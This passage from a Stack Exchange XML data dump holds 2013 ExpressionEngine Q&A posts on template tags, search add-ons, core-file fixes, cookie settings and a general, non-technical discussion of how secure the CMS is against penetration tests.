  <row Id="13281" PostTypeId="1" CreationDate="2013-08-29T11:41:44.890" Score="15" ViewCount="2003" Body="&lt;p&gt;I'm looking into the possibility of using Expression Engine to build secure sites. How does the EE core hold up against penetration tests and vulnerability scans that check for things like cross site scripting and SQL injection? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;RS&lt;/p&gt;&#xA;" OwnerUserId="1974" LastActivityDate="2013-09-03T23:17:00.043" Title="How secure is EE? Will it pass penetration tests?" Tags="|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13282" PostTypeId="2" ParentId="13280" CreationDate="2013-08-29T11:55:58.693" Score="5" Body="&lt;p&gt;Good on you for writing your first plugin.&#xA;Use this as a starting point for your plugins, quick, easy and avoids missing something.&#xA;&lt;a href=&quot;http://pkg.io/&quot;&gt;pkg.io&lt;/a&gt;&#xA;Create it, download, unzip and upload to third party folder, just like any other add on. Once you can 'see' it in the plugin/module list you're all set to add your code. &lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-08-29T11:55:58.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13283" PostTypeId="2" ParentId="11386" CreationDate="2013-08-29T11:57:15.280" Score="0" Body="&lt;p&gt;Just wanted to update this question if anyone else experiences it. There's a solution posted in the Bug Tracker here: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19512&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19512&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: The following actually broke all my uploaded images on EE 2.5.2, so perhaps it works for 2.6.1, but NOT 2.5.2. Proceed with caution.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... if it's too much hassle to log in, here it is :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In system/expressionengine/models/file_model.php, around line 345 change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;$name_func('file_name', $file_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;$name_func('file_name', $file_name.' COLLATE latin1_general_cs', TRUE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps someone out.&lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="308" LastEditDate="2013-08-29T12:02:40.240" LastActivityDate="2013-08-29T12:02:40.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13284" PostTypeId="1" CreationDate="2013-08-29T12:04:35.050" Score="0" ViewCount="44" Body="&lt;p&gt;I'm making a website, all the page will be in English except I need few pages with Japanese tekst (Japanese character).&#xA;Is it possible? How can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2013-08-29T12:04:35.050" Title="Japanese character" Tags="|character-encoding|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13285" PostTypeId="1" AcceptedAnswerId="13293" CreationDate="2013-08-29T12:19:20.760" Score="1" ViewCount="710" Body="&lt;p&gt;I tried to use all possible way for search but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel &lt;strong&gt;countries&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;field: country_name (like UK, USA, Ireland, Russia and etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Channel &lt;strong&gt;departments&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;field: department_title (like tech, commerce, finance)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Channels &lt;strong&gt;careers&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;field: title&lt;/li&gt;&#xA;&lt;li&gt;field: careers_department_title(relationship with channel &lt;strong&gt;departments&lt;/strong&gt; by field department_title)&lt;/li&gt;&#xA;&lt;li&gt;field: career_role_location(relationship with channel &lt;strong&gt;countries&lt;/strong&gt; by field country_name)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To display all from careers I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;careers&quot;}&#xA;  Job title - {title}&#xA;  Department title: {careers_department_title:department_title:}&#xA;  Role location: {career_role_location:country_name}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I need to do search by country or by departments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:filters query=&quot;USA&quot;}&#xA;  {exp:channel:entries channel=&quot;careers&quot; style=&quot;linear&quot;}&#xA;   {career__country_name:country_name}&#xA;  {/exp:channel:entries}&#xA;{/exp:low_search:filters}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As result I have list of all countries, but I need only from specific country, in this example should be only USA, and no UK, Russia and other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody advice how correctly to write this search by field which has relationship type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main goal to display dropdown menu and user can select search option: search by departments or by location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1975" LastActivityDate="2014-04-21T07:36:07.327" Title="low search by fields with relationship" Tags="|search|relationships|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13286" PostTypeId="1" AcceptedAnswerId="13288" CreationDate="2013-08-29T12:31:11.763" Score="3" ViewCount="58" Body="&lt;p&gt;I'm working on a module to log some statistics on downloads from anywhere in the site. My module setup is fine, it installs and creates the necessary tables. Now I want to hook into the events, file downloads in particular and log this data to my new tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any hooks exposed that I can use to see when this happens? It crossed my mind to try and intercept the event with javascript and log it asynchronously. But I am hoping there is a hook I can use instead. I haven't been able to find one though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions please? &lt;/p&gt;&#xA;" OwnerUserId="1964" LastActivityDate="2013-08-29T12:44:39.710" Title="Are there hooks I can use to log file downloads" Tags="|ee2|module|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13288" PostTypeId="2" ParentId="13286" CreationDate="2013-08-29T12:44:39.710" Score="2" Body="&lt;p&gt;No, there isn't any hook for it. You might see this question/answer &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13058/track-logged-in-user-events/13069&quot;&gt;Track logged-in user events&lt;/a&gt;&#xA;which seems much similar to your need.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-08-29T12:44:39.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13289" PostTypeId="2" ParentId="13263" CreationDate="2013-08-29T12:49:09.877" Score="0" Body="&lt;p&gt;If the fieldtype for city is simply a text field, one option would be to split it in two and use the awesome &lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;entry typ&lt;/a&gt;e add-on to hide a custom field for an &quot;other&quot; city assignment.  So in the entry type field, you would have two values - &quot;Sydney&quot; and &quot;Other&quot;. When Other is selected, a new text field would appear that would accept the other city value as a text field.  Or at least that's how you CAN set it up.  Then you would have a conditional very similar to what you're looking for.  Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; dynamic=&quot;no&quot;}&#xA;  {if city == &quot;Other&quot;}&#xA;    {other_city}&#xA;  {if:else}&#xA;    {city}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wherein the default value of {city} would be &quot;Sydney&quot;, and {other_city} would come into play only if the value of {city} was selected to be &quot;Other&quot;.  The entry type field can be radio button or dropdown list - and so dropdown list, with Sydney as the first option, would be a simple way to achieve what you're looking to do - and have it be quite user friendly to the site admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-29T12:49:09.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13290" PostTypeId="2" ParentId="13285" CreationDate="2013-08-29T13:25:41.433" Score="1" Body="&lt;p&gt;The easiest method may be to use Solspace's free &lt;a href=&quot;http://www.solspace.com/software/detail/preparse/&quot; rel=&quot;nofollow&quot;&gt;Preparse&lt;/a&gt; extension. It's a bit of a hidden gem. It essentially parses a template based on an entry id and stores it in a text field in the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low actually &lt;a href=&quot;http://gotolow.com/blog/searching-non-field-data-with-low-search&quot; rel=&quot;nofollow&quot;&gt;blogged&lt;/a&gt; about how to use Preparse with Low Search to make categories searchable. The same could be done for any fieldtype that doesn't use the standard &lt;code&gt;exp_channel_data&lt;/code&gt; fields to store its data, such as a relationship or Playa field.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-08-29T13:25:41.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13291" PostTypeId="2" ParentId="13243" CreationDate="2013-08-29T13:35:45.013" Score="0" Body="&lt;p&gt;Does your Meetup entry have an 'open' Status? An Entry Date in the past? No expiration date, or one set in the future? By default Playa will only show entries that meet those criteria, and if you want anything different you will need to specify the &lt;code&gt;status=&lt;/code&gt;, &lt;code&gt;show_future_entries=&lt;/code&gt;, and &lt;code&gt;show_expired=&lt;/code&gt; params, just like with &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&quot; rel=&quot;nofollow&quot;&gt;{exp:channel:entries}&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-29T13:35:45.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13292" PostTypeId="2" ParentId="13194" CreationDate="2013-08-29T13:46:17.507" Score="1" Body="&lt;p&gt;Yes, I've used this approach myself a number of times and it works well (though I've not used it with Structure, i would think the approach would still work), particularly if you are able to wrap the conditional with Croxton's &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; add-on to early parse the matching segments.  So you'd have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;markets&quot; url_title=&quot;{segment_2}&quot; disable=&quot;whatever|you|do|not|need&quot; limit=&quot;1&quot;}&#xA;    {exp:switchee parse=&quot;inward&quot; variable=&quot;{segment_3}&quot;}&#xA;        {case value=&quot;admissions&quot;}&#xA;           {my_admissions_custom_field_or_more_than_one_if_needed}&#xA;        {/case}&#xA;        {case value=&quot;parking&quot;}&#xA;           {my_parking_custom_field_or_more_than_one_if_needed}&#xA;        {/case}&#xA;        {case value=&quot;seating&quot;}&#xA;           {my_seating_custom_field_or_more_than_one_if_needed}&#xA;        {/case}&#xA;        {case value=&quot;something_else&quot;}&#xA;           {my_psomethingelse_custom_field_or_more_than_one_if_needed}&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-29T13:46:17.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13293" PostTypeId="2" ParentId="13285" CreationDate="2013-08-29T13:49:37.893" Score="3" Body="&lt;p&gt;Couple of things here. I don't think you need the Preparse option as Jeremy suggested, as you can filter by country/department ID, not by their actual names. Here's what to do:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Results tag&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Use something like this in your Results tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results channel=&quot;careers&quot; query=&quot;{segment_3}&quot;}&#xA;  code to display careers here&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure &lt;code&gt;{segment_3}&lt;/code&gt; points to the &lt;strong&gt;encoded query&lt;/strong&gt; in the URI. Something like &lt;code&gt;query=&quot;USA&quot;&lt;/code&gt; like you tried &lt;strong&gt;will not work&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Create a search form&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In that form, you can let the user choose a country or department. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;search/results&quot;}&#xA;&#xA;  &amp;lt;select name=&quot;child:the_country_relationship_field&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select country&amp;lt;/option&amp;gt;&#xA;    {exp:channel:entries channel=&quot;countries&quot; dynamic=&quot;no&quot;}&#xA;      &amp;lt;option value=&quot;{entry_id}&quot;&amp;gt;{country_name}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:entries}&#xA;  &amp;lt;/select&amp;gt;&#xA;&#xA;  &amp;lt;select name=&quot;child:the_department_relationship_field&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select department&amp;lt;/option&amp;gt;&#xA;    {exp:channel:entries channel=&quot;departments&quot; dynamic=&quot;no&quot;}&#xA;      &amp;lt;option value=&quot;{entry_id}&quot;&amp;gt;{department_name}&amp;lt;/option&amp;gt;&#xA;    {/exp:channel:entries}&#xA;  &amp;lt;/select&amp;gt;&#xA;&#xA;  &amp;lt;button type=&quot;submit&quot;&amp;gt;Search!&amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure that you replace &lt;code&gt;the_country_relationship_field&lt;/code&gt; and &lt;code&gt;the_department_relationship_field&lt;/code&gt; with their corresponding relationship field names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This combination should give you the filtered results.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-08-29T14:36:10.193" LastActivityDate="2013-08-29T14:36:10.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13294" PostTypeId="1" CreationDate="2013-08-29T13:59:01.303" Score="1" ViewCount="86" Body="&lt;p&gt;I am looking to build a sweepstake system that would send a unique code to the user every time they submit their email. What would be the best add ons to use to accomplish a system like this? Maybe safecracker could create entries and I could use the entry id &amp;amp; add another generic number to it creating the unique code eg: AUGCOMP23. Then maybe use Postmaster to send the unique code to them? Am I heading on the right track? How would I limit the amount of times they could enter?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2013-09-28T15:50:21.427" Title="Building a sweepstake system" Tags="|safecracker|postmaster|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13295" PostTypeId="2" ParentId="13262" CreationDate="2013-08-29T14:01:22.330" Score="1" Body="&lt;p&gt;There is a technique I have used in the past that uses channels as categories. Its pretty niffty as you can have any fields you like in the categories section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Create a channel called categories (Or whatever)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Create a channel that you want to categorize (say, products)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• In the 'products' channel, add a Playa or native relationship FT to it that only looks at the 'categories' channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use that relationship field display your entries for that cat. You can also create a better URL structure for SEO this way, and go to town on the categories fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be a bit of a pain getting your head around, but it is really powerful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole native EE cats really need a good going over in my mind as they are quite limiting compared to teh rest of EE. I believe there are some new category hooks in 2.7, so fingers crossed a dev will take up the challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as your question goes, I don't think there is anything available at the mo. I'll try and think of another way round, but the above is potentially a good way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-08-29T14:01:22.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13296" PostTypeId="2" ParentId="13294" CreationDate="2013-08-29T14:11:15.973" Score="1" Body="&lt;p&gt;What about the native mailing list? You can only subscribe once per list and each sweepstake would be separated, meaning the same email could enter different sweepstakes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you looking at creating members for every email? Or is it a one off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some plugins in Dev:otee that generate random strings that you could use if SafeCracker is the way forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could use Profie:edit (or User etc) and create a Matrix field. When a member fills in the 'application' to sweepstake, a row is added to the Matrix which you can then use to check against to see if they have entered already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter is probably the way I would go so you can view a member and see exactly what sweepstakes they have entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds interesting. I looked in to something a little while ago. I'd advise you to checkout the law in your country regarding swepstakes. Depending on your idea, you don't want to get into trouble. In the UK a sweepstake MUST be free to enter. Or its classed as gambling I believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-08-29T14:11:15.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13297" PostTypeId="1" AcceptedAnswerId="13305" CreationDate="2013-08-29T14:55:15.413" Score="0" ViewCount="94" Body="&lt;p&gt;Is the &lt;a href=&quot;https://objectivehtml.com/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; add-on by Objective HTML able to send file attachments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have a channel (&lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; member) which has a &lt;code&gt;SafeCracker File&lt;/code&gt; field contained within it. All I want to do is to email the file to an Administrator when a channel entry is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find any mention of attachments in the documents for the add-on. Has anyone done this sort of thing before? &lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-08-29T16:28:59.860" Title="Postmaster add-on - Is it able to handle emailing file attachments?" Tags="|postmaster|objective-html|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13298" PostTypeId="1" CreationDate="2013-08-29T15:20:30.827" Score="4" ViewCount="82" Body="&lt;p&gt;We are experiencing some PHP errors due to a &quot;too large&quot; regular expression that is taking place during template parsing in Template.php. We noticed it was only occurring on templates that load an entry based on URL title and the URL title contains the word &quot;random&quot;. The regular expression that is failing can be found in Template.php in the early 800 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Strip the &quot;chunk&quot; from the template, replacing it with a unique marker.&#xA;if (stristr($raw_tag, 'random'))&#xA;{&#xA;    $this-&amp;gt;template = preg_replace(&quot;|&quot;.preg_quote($chunk).&quot;|s&quot;, 'M'.$this-&amp;gt;loop_count.$this-&amp;gt;marker, $this-&amp;gt;template, 1);&#xA;}&#xA;else&#xA;{&#xA;    $this-&amp;gt;template = str_replace($chunk, 'M'.$this-&amp;gt;loop_count.$this-&amp;gt;marker, $this-&amp;gt;template);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're not sure how to go about fixing this issue.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2013-08-30T13:34:15.087" Title="Why is the word &quot;random&quot; treated differently in the template parser?" Tags="|templates|parsing|regular-expressions|random|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13299" PostTypeId="2" ParentId="13298" CreationDate="2013-08-29T15:30:55.600" Score="5" Body="&lt;p&gt;From what I saw in a comment from Mark Croxton here: &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/8717&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/stash/viewthread/8717&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE tries to cache tags that are used multiple times within the same template.  To get around this, there's a &quot;random&quot; keyword that EE looks for that will cause it to use a separate marker for this tag (causing the tag to parse twice)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it does a stristr for 'random', so if any of your parameters include the word random, or the tag itself does, it parses it an extra time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to make a corehack by changing the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (stristr($raw_tag, 'random'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (stristr($raw_tag, ' random'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be nice if there was a way to do this without a corehack, though?&lt;/p&gt;&#xA;" OwnerUserId="963" LastEditorUserId="963" LastEditDate="2013-08-30T13:34:15.087" LastActivityDate="2013-08-30T13:34:15.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13301" PostTypeId="2" ParentId="13272" CreationDate="2013-08-29T16:12:27.407" Score="0" Body="&lt;p&gt;Check your config file to make sure all of your paths are linking to the sub-folder? Also, there could be a cookie path or name throwing it off?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-08-29T16:12:27.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13302" PostTypeId="2" ParentId="13272" CreationDate="2013-08-29T16:16:08.007" Score="1" Body="&lt;p&gt;If you have a second site on this hosting account, the cookies are probably getting in the way. Add this to your new site's config file and set the prefix to something unique:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;$config['cookie_prefix'] = &quot;new&quot;;&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br&gt;&#xA;I just saw this was an EE1 site. Use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['cookie_prefix'] = &quot;new&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-08-30T16:58:57.893" LastActivityDate="2013-08-30T16:58:57.893" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13303" PostTypeId="2" ParentId="13281" CreationDate="2013-08-29T16:25:15.407" Score="20" Body="&lt;p&gt;We've had ExpressionEngine installs penetration tested in the past, most recently by the Security Operations team at one of the world's largest technology companies. The key takeaway was that the vast majority of issues were found in third-party add-ons. There were a few issues with ExpressionEngine itself; some of them were fixed in more recent versions of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the remaining EE issues and most of the add-on issues were only accessible via control panel URLs. In some cases, only to logged-in admins. I'm not sure if this is a vulnerability condition for you or if your architecture assumes that admins can be trusted and/or locks the control panel files down behind a firewall. In our case, we hardened the control panel folder in a few ways, including by requiring external OAuth authorization before a session is even started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also worth noting that you're very likely to introduce SQLi and XSS vulnerabilities in your own code. Make sure you're fully testing all get/post params, escaping when displaying user-supplied data, etc.... I'm happy to elaborate if it's helpful!&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2013-08-29T16:25:15.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13304" PostTypeId="2" ParentId="10882" CreationDate="2013-08-29T16:28:29.153" Score="0" Body="&lt;p&gt;Install Mo' Variables: &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mo-variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change your template to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;    {my_matrix_field search:matrix_col=&quot;{post:keywords}&quot;}&#xA;        {matrix_title}&#xA;    {/my_matrix_field}&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-08-29T16:28:29.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13305" PostTypeId="2" ParentId="13297" CreationDate="2013-08-29T16:28:59.860" Score="1" Body="&lt;p&gt;Attachments are not currently supported simply because there hasn't really been much of a demand for them. But it has come up more recently. The attachments would work on a per-service basis, so the API needs modified to make that easier. I will put this on the radar for 1.4, which is bringing several additional changes to the API.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-08-29T16:28:59.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13306" PostTypeId="1" AcceptedAnswerId="13312" CreationDate="2013-08-29T17:08:34.100" Score="2" ViewCount="653" Body="&lt;p&gt;I would like to populate my meta tags, specifically Facebook Open Graph meta with the current entry's data. Most of it straight forward but am struggling with grabbing the image url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image field is a Simple S3 Uploader field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;{exp:channel:entries dynamic=&quot;no&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;{title}&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{intro}&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot;)&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;{site_url}{if segment_1 != ''}/{segment_1}{/if}{if segment_2 != ''}/{segment_2}{/if}{if segment_3 != ''}/{segment_3}{/if}{if segment_4 != ''}/{segment_4}{/if}&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;**http://www.your-site.com/image.jpg&quot;**&amp;gt;&#xA;&amp;lt;meta property=&quot;og:site_name&quot; content=&quot;{site_name}&quot;&amp;gt;&#xA;&amp;lt;meta property=&quot;fb:admins&quot; content=&quot;your-Facebook-page-user-ID&quot;&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="789" LastEditorUserId="789" LastEditDate="2013-08-29T18:37:54.013" LastActivityDate="2013-08-29T18:37:54.013" Title="How populate meta data with current entry's data" Tags="|facebook|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13307" PostTypeId="1" CreationDate="2013-08-29T17:11:18.020" Score="1" ViewCount="150" Body="&lt;p&gt;We've been having some trouble with getting XML from our server. It returns 200 STATUS OK but, like the title notes, it's not returning the XML that we pointed it to but instead is giving back a complete EE Snippet! It's really weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The XML is well-formed (validation passed with no errors) and the '&lt;code&gt;var url = &quot;OUR URL&quot;&lt;/code&gt;' is well-formed (but can't share with you for obvious reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas as to why this would happen and what EE might be doing to make it happen? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT 1: A quick note. When we add '&lt;code&gt;http://www.&lt;/code&gt;'  to the beginning of our domain it returns a &lt;code&gt;404 STATUS&lt;/code&gt;. But when we remove it (leaving just our domain '&lt;code&gt;example.com&lt;/code&gt;') it returns a &lt;code&gt;200 STATUS&lt;/code&gt;. I'm not sure why this is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, we are conforming to the Same Origin Policy (&lt;a href=&quot;http://en.wikipedia.org/wiki/Same_origin_policy&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Same_origin_policy&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: The Snippet being returned contains the:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&quot;&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;...&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and we're calling the &lt;code&gt;XMLHttpRequest()&lt;/code&gt; within the &lt;code&gt;&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;&lt;/code&gt; within the body (contained in it's own template). Moving the &lt;code&gt;XMLHttpRequest()&lt;/code&gt; into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; doesn't fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT 3: After changing the Template Manager -&gt; Edit Preferences 